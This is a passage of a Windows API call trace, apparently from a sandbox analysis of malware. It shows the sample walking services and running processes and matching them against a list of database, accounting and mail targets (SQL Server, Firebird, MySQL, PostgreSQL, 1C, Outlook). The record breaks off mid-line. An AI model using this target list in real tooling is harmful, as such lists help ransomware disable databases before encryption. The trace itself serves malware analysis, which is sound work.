lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.597] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.597] lstrlenW (lpString="Power") returned 5 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.598] lstrlenW (lpString="ProfSvc") returned 7 [0045.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.598] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.598] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.598] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.598] lstrlenW (lpString="RpcSs") returned 5 [0045.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.598] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.598] lstrlenW (lpString="SamSs") returned 5 [0045.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.598] lstrlenW (lpString="Schedule") returned 8 [0045.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.598] lstrlenW (lpString="SENS") returned 4 [0045.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.598] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.598] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.598] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.598] lstrlenW (lpString="Spooler") returned 7 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.599] lstrlenW (lpString="swprv") returned 5 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0045.599] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0045.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0045.599] lstrlenW (lpString="SysMain") returned 7 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.599] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.599] lstrlenW (lpString="Themes") returned 6 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.599] lstrlenW (lpString="TrkWks") returned 6 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.599] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.599] lstrlenW (lpString="UxSms") returned 5 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.599] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.599] lstrlenW (lpString="VSS") returned 3 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.599] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.599] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.599] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.600] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.600] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.600] lstrlenW (lpString="Winmgmt") returned 7 [0045.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.600] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.600] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0045.600] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0045.603] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.603] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.603] lstrlenW (lpString="System") returned 6 [0045.603] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.603] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.603] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.603] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.603] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.603] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.603] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.603] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.604] lstrlenW (lpString="smss.exe") returned 8 [0045.604] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.604] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.604] lstrlenW (lpString="csrss.exe") returned 9 [0045.604] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.604] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.604] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.604] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.604] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.604] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.604] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.605] lstrlenW (lpString="wininit.exe") returned 11 [0045.605] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.605] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.605] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.605] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.605] lstrlenW (lpString="csrss.exe") returned 9 [0045.606] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.606] lstrlenW (lpString="winlogon.exe") returned 12 [0045.606] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.606] lstrlenW (lpString="services.exe") returned 12 [0045.606] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.607] lstrlenW (lpString="lsass.exe") returned 9 [0045.607] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.607] lstrlenW (lpString="lsm.exe") returned 7 [0045.607] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.607] lstrlenW (lpString="svchost.exe") returned 11 [0045.607] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.608] lstrlenW (lpString="svchost.exe") returned 11 [0045.608] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.608] lstrlenW (lpString="svchost.exe") returned 11 [0045.608] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.609] lstrlenW (lpString="svchost.exe") returned 11 [0045.609] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.609] lstrlenW (lpString="svchost.exe") returned 11 [0045.609] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.609] lstrlenW (lpString="audiodg.exe") returned 11 [0045.609] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.610] lstrlenW (lpString="svchost.exe") returned 11 [0045.610] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.610] lstrlenW (lpString="svchost.exe") returned 11 [0045.610] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.610] lstrlenW (lpString="dwm.exe") returned 7 [0045.610] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.611] lstrlenW (lpString="explorer.exe") returned 12 [0045.611] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.611] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.611] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.612] lstrlenW (lpString="taskhost.exe") returned 12 [0045.612] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.612] lstrlenW (lpString="svchost.exe") returned 11 [0045.612] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.612] lstrlenW (lpString="taskeng.exe") returned 11 [0045.612] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0045.613] lstrlenW (lpString="judges-present.exe") returned 18 [0045.613] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0045.613] lstrlenW (lpString="physics.exe") returned 11 [0045.613] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0045.613] lstrlenW (lpString="belongs.exe") returned 11 [0045.614] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0045.614] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0045.614] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0045.614] lstrlenW (lpString="gadgets.exe") returned 11 [0045.614] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0045.615] lstrlenW (lpString="geneva.exe") returned 10 [0045.615] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0045.615] lstrlenW (lpString="elephant.exe") returned 12 [0045.615] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0045.615] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0045.615] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0045.616] lstrlenW (lpString="roger-venice.exe") returned 16 [0045.616] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0045.616] lstrlenW (lpString="cite.exe") returned 8 [0045.616] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0045.616] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0045.617] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0045.617] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0045.617] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0045.617] lstrlenW (lpString="artist_selecting.exe") returned 20 [0045.617] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0045.618] lstrlenW (lpString="poems.exe") returned 9 [0045.618] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0045.618] lstrlenW (lpString="bow.exe") returned 7 [0045.618] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: 